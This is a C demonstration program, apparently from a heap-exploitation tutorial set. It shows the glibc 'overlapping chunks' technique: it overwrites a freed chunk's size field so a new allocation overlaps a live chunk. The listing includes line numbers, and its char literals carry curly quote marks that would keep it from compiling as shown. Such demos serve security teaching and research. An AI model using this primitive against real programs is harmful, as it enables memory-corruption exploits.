9.overlapping_chunks

 1 /*
 2 
 3  A simple tale of overlapping chunk.
 4  This technique is taken from
 5  http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf
 6 
 7 */
 8 
 9 #include <stdio.h>
10 #include <stdlib.h>
11 #include <string.h>
12 #include <stdint.h>
13 
14 int main(int argc , char* argv[]){
15 
16 
17     intptr_t *p1,*p2,*p3,*p4;
18 
19     fprintf(stderr, "\nThis is a simple chunks overlapping problem\n\n");
20     fprintf(stderr, "Let‘s start to allocate 3 chunks on the heap\n");
21 
22     p1 = malloc(0x100 - 8);
23     p2 = malloc(0x100 - 8);
24     p3 = malloc(0x80 - 8);
25 
26     fprintf(stderr, "The 3 chunks have been allocated here:\np1=%p\np2=%p\np3=%p\n", p1, p2, p3);
27 
28     memset(p1, ‘1‘, 0x100 - 8);
29     memset(p2, ‘2‘, 0x100 - 8);
30     memset(p3, ‘3‘, 0x80 - 8);
31 
32     fprintf(stderr, "\nNow let‘s free the chunk p2\n");
33     free(p2);
34     fprintf(stderr, "The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n");
35 
36     fprintf(stderr, "Now let‘s simulate an overflow that can overwrite the size of the\nchunk freed p2.\n");
37     fprintf(stderr, "For a toy program, the value of the last 3 bits is unimportant;"
38         " however, it is best to maintain the stability of the heap.\n");
39     fprintf(stderr, "To achieve this stability we will mark the least signifigant bit as 1 (prev_inuse),"
40         " to assure that p1 is not mistaken for a free chunk.\n");
41 
42     int evil_chunk_size = 0x181;
43     int evil_region_size = 0x180 - 8;
44     fprintf(stderr, "We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n",
45          evil_chunk_size, evil_region_size);
46 
47     *(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2
48 
49     fprintf(stderr, "\nNow let‘s allocate another chunk with a size equal to the data\n"
50            "size of the chunk p2 injected size\n");
51     fprintf(stderr, "This malloc will be served from the previously freed chunk that\n"
52            "is parked in the unsorted bin which size has been modified by us\n");
53     p4 = malloc(evil_region_size);
54 
55     fprintf(stderr, "\np4 has been allocated at %p and ends at %p\n", (char *)p4, (char *)p4+evil_region_size);
56     fprintf(stderr, "p3 starts at %p and ends at %p\n", (char *)p3, (char *)p3+0x80-8);
57     fprintf(stderr, "p4 should overlap with p3, in this case p4 includes all p3.\n");
58 
59     fprintf(stderr, "\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3,"
60         " and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n");
61 
62     fprintf(stderr, "Let‘s run through an example. Right now, we have:\n");
63     fprintf(stderr, "p4 = %s\n", (char *)p4);
64     fprintf(stderr, "p3 = %s\n", (char *)p3);
65 
66     fprintf(stderr, "\nIf we memset(p4, ‘4‘, %d), we have:\n", evil_region_size);
67     memset(p4, ‘4‘, evil_region_size);
68     fprintf(stderr, "p4 = %s\n", (char *)p4);
69     fprintf(stderr, "p3 = %s\n", (char *)p3);
70 
71     fprintf(stderr, "\nAnd if we then memset(p3, ‘3‘, 80), we have:\n");
72     memset(p3, ‘3‘, 80);
73     fprintf(stderr, "p4 = %s\n", (char *)p4);
74     fprintf(stderr, "p3 = %s\n", (char *)p3);
75 }